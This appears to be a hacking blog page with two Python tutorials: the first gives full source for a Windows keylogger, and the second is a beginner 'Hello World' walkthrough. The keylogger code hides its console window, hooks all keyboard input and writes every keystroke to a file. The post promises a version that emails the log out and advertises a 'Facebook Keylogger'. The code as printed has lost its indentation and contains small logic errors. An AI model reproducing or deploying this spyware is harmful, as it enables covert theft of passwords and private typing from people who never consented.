Showing posts with label Python. Show all posts
Showing posts with label Python. Show all posts

How To Make A Python Keylogger

This is tutorial that explains how to make simple keylogger that records keystrokes activities on pc and store it in .txt file. To make our keylogger we’ll use python. Why python? Python is simple powerfull and flexible programming language. By my opinion the best ,with few lines of code you can do amazing things.If you never used python , read my previous article How To Create Your First Python Program where I explained how to run simple “Hello World” script .
To make programming easier python has “Modules” that contains useful code that can extend python functionalities.
For python keylogger we’ll need to download pywin32 & pyHook modules


Step 1
Download and install pywin32 from this LINK
pywin32

Step 2
Download and install pyhook from this LINK
pyhook

Step 3
Launch IDLE python as Administrator and click on FIle -> New Window
idle python
new windows
Here is complete keylogger code , described with comments : Python Keylogger Code :

Source code   
import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
In the new window copy paste python keylogger code and click on Run -> Run Module .
kezlogger run

After this your keylogger will be launched and all keystroke activity will be stored in ‘c:\output.txt’. In the next tutorial we’ll extend python keylogger with fonctionality that send “output.txt” to specific email address. You can found keylogger code on my github account https://github.com/blaz1988/keylogger/blob/master/keylogger.py
If you’re loking for more poerful keylogger check out Facebook Keylogger

How To Create Your First Python Program

Wanna learn how to create your first python program , but don’t know where to start. This is beginner, step by step tutorial with images that will help you trough process.

Step 1
Go to python.org , download latest version and install it.




Step 2

Run IDLE (Python GUI)



Step 3

You can run program via python shell or you can run program as python module . py extension.

Step 3.1
Run program via python shell
In Python shell type
Code:
variable = 'Hello World'
and press enter

then type
Code:
print variable
and press enter, output will be Hello World

This is simple example where we store string “Hello World” into variable and then print it out.
Step 3.2
Run as python script . py
Open notepad and type your code
variable = 'Hello World'
print variable



save as HelloWorld.py


Open IDLE and go to File -> Open and open file with .py extension


After this will appear windows where you’ll able to run module, just press F5 or go to Run -> Run Module

 

Copyright @ 2013 OPEN HACKING.